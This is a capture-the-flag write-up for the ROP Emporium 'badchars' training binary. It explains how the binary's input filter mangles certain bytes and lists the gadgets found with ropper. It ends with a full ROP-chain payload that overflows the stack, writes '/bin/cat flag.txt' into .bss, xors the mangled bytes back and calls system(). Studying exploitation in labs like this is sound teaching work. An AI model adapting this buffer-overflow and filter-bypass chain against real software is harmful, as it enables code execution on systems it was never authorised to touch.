Post

05_badchars

ROP Emporium badchars

  • Tools: IDA Free 7.0, gdb-gef, ropper, readelf
  • Prerequistes: Stack frame
  • Download solution: main.py

Overview

“An arbitrary write challenge with a twist; certain input characters get mangled before finding their way onto the stack. […]”

In this challenge, a function checks our input and if it contains some “special” characters, they are replaced by the byte 0xEB. Otherwise, it is similar to the challenge write4.

Function pwnme()

_fgets() takes an input of up to 0x200 bytes and stores it on the heap. Then, the length of this input is computed by the function nstrlen(): it stops when the character 0x0A is found:

1
2
3
4
5
6
7
8
9
0x0000000000400A0E    mov     rdx, [rbp+user_input]
0x0000000000400A12    mov     rax, [rbp+i]
0x0000000000400A16    add     rax, rdx
0x0000000000400A19    movzx   eax, byte ptr [rax]
0x0000000000400A1C    cmp     al, 0Ah       ; line feed
0x0000000000400A1E    jnz     short next_char
0x0000000000400A20    add     [rbp+i], 1    ; +1
0x0000000000400A25    mov     rax, [rbp+i]
0x0000000000400A29    jmp     short exit

The length is returned in rax and used by the function checkBadchars() to check user input. Forbidden chars are replaced by 0xEB:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
0x0000000000400A90    mov     rdx, [rbp+user_input]
0x0000000000400A94    mov     rax, [rbp+i]  ; length input
0x0000000000400A98    add     rax, rdx
0x0000000000400A9B    movzx   edx, byte ptr [rax]
0x0000000000400A9E    lea     rcx, [rbp+badchars_array] ; <space>bcfins/
0x0000000000400AA2    mov     rax, [rbp+j]
0x0000000000400AA6    add     rax, rcx
0x0000000000400AA9    movzx   eax, byte ptr [rax]
0x0000000000400AAC    cmp     dl, al    ; cmp input[i], badchars[j]
0x0000000000400AAE    jnz     short ok
0x0000000000400AB0    mov     rdx, [rbp+user_input]
0x0000000000400AB4    mov     rax, [rbp+i]
0x0000000000400AB8    add     rax, rdx
0x0000000000400ABB    mov     byte ptr [rax], 0EBh ; patch
0x0000000000400ABE    jmp     short inc_counter

Once filtered, the user input is copied to the stack:

1
2
3
4
5
0x00000000004009B5    mov     rdx, [rbp+str_length] ; input length
[...]
0x00000000004009C5    mov     rsi, rax        ; src: filtered input
0x00000000004009C8    mov     rdi, rcx        ; dest
0x00000000004009CB    call    _memcpy

Arbitraty write

As usual, usefulFunction() implements a “call to system() with edi pointing to "/bin/ls"”. The string "/bin/cat flag.txt" is absent so we’ll have to find an arbitrary write. The section .bss still seems to be a good place to write the string "/bin/cat flag.txt":

1
2
3
4
5
6
7
8
9
10
readelf --sections ../challs/badchars
There are 31 section headers, starting at offset 0x1d08:

Section Headers:
[Nr] Name              Type             Address           Offset
     Size              EntSize          Flags  Link  Info  Align
[...]
[26] .bss              NOBITS           0000000000601080  00001080
       0000000000000030  0000000000000000  WA       0     0     32
[...]

We find 2 write gadgets:

1
2
3
4
5
ropper --search "mov [%]"  -f ../challs/badchars
[...]
[INFO] File: ../challs/badchars
0x0000000000400b35: mov dword ptr [rbp], esp; ret; 
0x0000000000400b34: mov qword ptr [r13], r12; ret; 

Focusing on the r13 / r12 pair:

1
2
3
4
5
6
7
8
ropper --search "??? r1?" -f ../challs/badchars
[...]
0x0000000000400bac: pop r12; pop r13; pop r14; pop r15; ret; 
0x0000000000400b3b: pop r12; pop r13; ret; 
0x0000000000400bae: pop r13; pop r14; pop r15; ret; 
0x0000000000400b3d: pop r13; ret; 
0x0000000000400b40: pop r14; pop r15; ret; 
0x0000000000400b42: pop r15; ret; 

In addition, if our input contains forbidden chars they will be replaced by 0xEB. Whether we encode the user input before or let the function checkBadchars() replace the badchars, we’ll need a gadget to fix things afterwards. In both cases a good old xor can do the trick:

1
2
3
4
ropper --search "xor ???" -f ../challs/badchars
[...]
0x0000000000400b30: xor byte ptr [r15], r14b; ret; 
0x0000000000400b31: xor byte ptr [rdi], dh; ret; 

And from the before last ropper output, we know we can control r14 and r15. Last gadget we need is a write into rdi:

1
2
3
4
ropper --search "??? rdi" -f ../challs/badchars
[...]
0x00000000004009d4: mov rdi, rax; call 0x6d0; nop; leave; ret; 
0x0000000000400b39: pop rdi; ret; 

Building the chain

I opted for an non-encoded payload and just xoring the 0xEB bytes to retrieve the correct "/bin/cat flag.txt" string. For example, let’s say we want 0x62 to be the final result written somewhere: 0x62 ^ 0xEB = 0x89. The payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
payload = b''
payload += b'\x41\x41\x41\x41\x41\x41\x41\x41'  # fill buffer
payload += b'\x41\x41\x41\x41\x41\x41\x41\x41'  # fill buffer
payload += b'\x41\x41\x41\x41\x41\x41\x41\x41'  # fill buffer
payload += b'\x41\x41\x41\x41\x41\x41\x41\x41'  # fill buffer
payload += b'\x42\x42\x42\x42\x42\x42\x42\x42'  # fill buffer (overwrite RSP)

# Write to .bss
payload += b'\x3b\x0b\x40\x00\x00\x00\x00\x00'  # pop r12, pop r13, ret
payload += b'\x2f\x62\x69\x6e\x2f\x63\x61\x74'  # r12 = "/bin/cat"
payload += b'\x80\x10\x60\x00\x00\x00\x00\x00'  # r13 -> .bss
payload += b'\x34\x0b\x40\x00\x00\x00\x00\x00'  # mov [r13], r12

payload += b'\x3b\x0b\x40\x00\x00\x00\x00\x00'  # pop r12, pop r13, ret
payload += b'\x20\x66\x6c\x61\x67\x2e\x74\x78' # r12 = " flag.tx"
payload += b'\x88\x10\x60\x00\x00\x00\x00\x00'  # r13 -> .bss+8
payload += b'\x34\x0b\x40\x00\x00\x00\x00\x00'  # mov [r13], r12

payload += b'\x3b\x0b\x40\x00\x00\x00\x00\x00'  # pop r12, pop r13, ret
payload += b'\x74\x00\x00\x00\x00\x00\x00\x00'  # r12 = "t\x00"
payload += b'\x90\x10\x60\x00\x00\x00\x00\x00'  # r13 -> .bss+0x10
payload += b'\x34\x0b\x40\x00\x00\x00\x00\x00'  # mov [r13], r12

# Fix the \xEB bytes
# --- 0xc4 ^ 0xeb = 0x2f ("/")
payload += b'\x40\x0b\x40\x00\x00\x00\x00\x00'  # pop r14, pop r15, ret
payload += b'\xc4\x00\x00\x00\x00\x00\x00\x00'  # r14 = 0xc4 (xorkey n°1)
payload += b'\x80\x10\x60\x00\x00\x00\x00\x00'  # r15 -> .bss (found badchar n°1)
payload += b'\x30\x0b\x40\x00\x00\x00\x00\x00'  # xor [r15], r14b, ret
# --- 0x89 ^ 0xeb = 0x62 ("b")
payload += b'\x40\x0b\x40\x00\x00\x00\x00\x00'  # pop r14, pop r15, ret
payload += b'\x89\x00\x00\x00\x00\x00\x00\x00'  # r14 = 0x89 (xorkey n°2)
payload += b'\x81\x10\x60\x00\x00\x00\x00\x00'  # r15 -> .bss+1 (found badchar n°2)
payload += b'\x30\x0b\x40\x00\x00\x00\x00\x00'  # xor [r15], r14b, ret
# --- 0x82 ^ 0xeb = 0x69 ("i")
payload += b'\x40\x0b\x40\x00\x00\x00\x00\x00'  # pop r14, pop r15, ret
payload += b'\x82\x00\x00\x00\x00\x00\x00\x00'  # r14 = 0x82 (xorkey n°3)
payload += b'\x82\x10\x60\x00\x00\x00\x00\x00'  # r15 -> .bss+2 (found badchar n°3)
payload += b'\x30\x0b\x40\x00\x00\x00\x00\x00'  # xor [r15], r14b, ret
# --- 0x85 ^ 0xeb = 0x6e ("n")
payload += b'\x40\x0b\x40\x00\x00\x00\x00\x00'  # pop r14, pop r15, ret
payload += b'\x85\x00\x00\x00\x00\x00\x00\x00'  # r14 = 0x85 (xorkey n°4)
payload += b'\x83\x10\x60\x00\x00\x00\x00\x00'  # r15 -> .bss+3 (found badchar n°4)
payload += b'\x30\x0b\x40\x00\x00\x00\x00\x00'  # xor [r15], r14b, ret
# --- 0xc4 ^ 0xeb = 0x2f ("/")
payload += b'\x40\x0b\x40\x00\x00\x00\x00\x00'  # pop r14, pop r15, ret
payload += b'\xc4\x00\x00\x00\x00\x00\x00\x00'  # r14 = 0xc4 (xorkey n°5)
payload += b'\x84\x10\x60\x00\x00\x00\x00\x00'  # r15 -> .bss+4 (found badchar n°5)
payload += b'\x30\x0b\x40\x00\x00\x00\x00\x00'  # xor [r15], r14b, ret
# --- 0x88 ^ 0xeb = 0x63 ("c")
payload += b'\x40\x0b\x40\x00\x00\x00\x00\x00'  # pop r14, pop r15, ret
payload += b'\x88\x00\x00\x00\x00\x00\x00\x00'  # r14 = 0x88 (xorkey n°6)
payload += b'\x85\x10\x60\x00\x00\x00\x00\x00'  # r15 -> .bss+5 (found badchar n°6)
payload += b'\x30\x0b\x40\x00\x00\x00\x00\x00'  # xor [r15], r14b, ret
# --- 0xcb ^ 0xeb = 0x20 (" ")
payload += b'\x40\x0b\x40\x00\x00\x00\x00\x00'  # pop r14, pop r15, ret
payload += b'\xcb\x00\x00\x00\x00\x00\x00\x00'  # r14 = 0xcb (xorkey n°7)
payload += b'\x88\x10\x60\x00\x00\x00\x00\x00'  # r15 -> .bss+8 (found badchar n°7)
payload += b'\x30\x0b\x40\x00\x00\x00\x00\x00'  # xor [r15], r14b, ret
# --- 0x8d ^ 0xeb = 0x66 (f")
payload += b'\x40\x0b\x40\x00\x00\x00\x00\x00'  # pop r14, pop r15, ret
payload += b'\x8d\x00\x00\x00\x00\x00\x00\x00'  # r14 = 0x8d (xorkey n°8)
payload += b'\x89\x10\x60\x00\x00\x00\x00\x00'  # r15 -> .bss+9 (found badchar n°8)
payload += b'\x30\x0b\x40\x00\x00\x00\x00\x00'  # xor [r15], r14b, ret

# Get flag
payload += b'\x39\x0b\x40\x00\x00\x00\x00\x00'  # pop rdi, ret
payload += b'\x80\x10\x60\x00\x00\x00\x00\x00'  # ->"/bin/cat flag.txt"
payload += b'\xe8\x09\x40\x00\x00\x00\x00\x00'  # call _system()
payload += b'\x43\x43\x43\x43\x43\x43\x43\x43'  # dummy (stack alignment)
payload += b'\xb9\x07\x40\x00\x00\x00\x00\x00'  # hlt

EOF

This post is licensed under CC BY 4.0 by the author.